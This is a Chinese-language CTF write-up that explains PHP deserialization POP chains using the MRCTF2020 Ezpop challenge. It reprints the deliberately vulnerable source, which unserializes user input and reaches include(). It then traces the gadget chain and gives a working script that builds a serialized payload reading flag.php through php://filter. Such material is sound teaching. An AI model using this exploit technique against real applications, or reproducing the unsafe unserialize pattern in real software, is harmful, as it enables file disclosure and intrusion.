反序列化之pop链构造

php反序列化之pop链

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pop链介绍

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• POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法，与二进制利用中的面向返回编程（Return-Oriented Programing）的原理相似，都是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程，而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程，进而达成利用本身无害的代码进行有害操作的目的。

pop链常见函数：

反序列化的常见起点：

__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

例题

[MRCTF2020]Ezpop 1

• ps：一个比较简单的pop题目

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源码：

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

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源码分析：

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

在传入参数pop被设置时对其进行反序列化，那么再查看此前定义的类中哪些具有和反序列化相关的魔术方法，调用这些魔术方法中设置的代码，就可以执行此处反序列化之外更多的代码，从而实现我们读取flag.php中flag的要求。

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

Modifier类中append()方法会将传入参数包含，而此处魔术方法__invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数，所以在这里需要让属性var的值为flag.php，再触发魔术方法__invoke即可。魔术方法__invoke被自动调用的条件是类被当成一个函数被调用，故接着来寻找和函数调用有关的代码。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在Test类中有两个魔法函数__construct和__get，但魔法函数__construct这里用不上只需要关注魔法函数__get就好。魔法函数__get中设置了属性p会被当做函数调用，刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可，魔法函数__get会在访问类中一个不存在的属性时自动调用，那就需要寻找和调用属性相关的代码。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

Show类中有三个魔术方法，同样魔术方法__construct这里也用不上，在魔术方法__toString中会返回属性str中的属性source，如果刚刚提到的source属性不存在，那么就符合了Test类中的要求，那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用，在魔术方法__wakeup则将属性source传入正则匹配函数preg_match()，在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。这样从Test类中append()方法到Show类中的魔术方法__wakup就形成了一条调用链，这就是POP的一个使用样例，而题目——Ezpop就说明了这题设计的知识。

• 综上所述，一次经历了如下过程：
  反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

给出序列化脚本：

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a));

小小tip

问题一：

做这题时想了挺久，开始一直没有弄明白为什么要a，b分别等于show对象，并且要$a->source=$b？

• 虽然preg_match()函数会对Show类的属性source处理，并且把source当做字符串处理，但是想要调用__tostring函数首先source属性得是一个对象，然后这个对象被当作string处理了

问题二：

为什么是$b->str=new Show()?

• __tostring函数的本意是：规定当对象被当作string时，这个对象将会被怎样处理，也就是说$b虽然是$a对象的source属性，但不是$a对象的__tostring函数对$b进行操作，而是$b本身自己的__tostring函数会被调用,同理后面的__invoke函数也是这个原理

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参考文章：

• https://www.cnblogs.com/Article-kelp/p/14657419.html
• https://blog.csdn.net/weixin_45785288/article/details/109877324